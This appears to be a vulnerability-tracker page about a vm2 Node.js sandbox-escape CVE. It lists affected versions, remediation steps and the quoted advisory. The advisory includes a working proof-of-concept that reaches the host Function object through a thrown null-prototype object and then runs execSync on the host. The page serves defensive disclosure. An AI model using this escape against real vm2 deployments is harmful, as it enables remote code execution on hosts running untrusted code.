Live › vulnerability › CVE-2026-44009
vm2 is a Node.js sandbox for running untrusted code. A null-prototype object thrown and caught inside the sandbox lets attacker code reach the host Function object and run arbitrary commands on the host.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-04 03:36 UTC, 0h before NVD. All times on this page are UTC.
Any application that runs untrusted or user-supplied JavaScript inside vm2 is exposed, because the escape only needs attacker code inside the sandbox. Projects that use vm2 only for trusted internal code, or that do not use vm2 at all, can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| vm2 | npm | < 3.11.2 | 3.11.2 |
| vm2 project vm2 | vendor | < 3.11.2 | 3.11.2 |
npm ls vm2 in each project.vm2 to find transitive copies.new VM() or from vm2.NodeVMvm2 to 3.11.2 or later.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
throw o;
} catch (e) {
e.f = Buffer.prototype.inspect
o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
This page as .md · .json · in your agent: get_signal("CVE-2026-44009")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.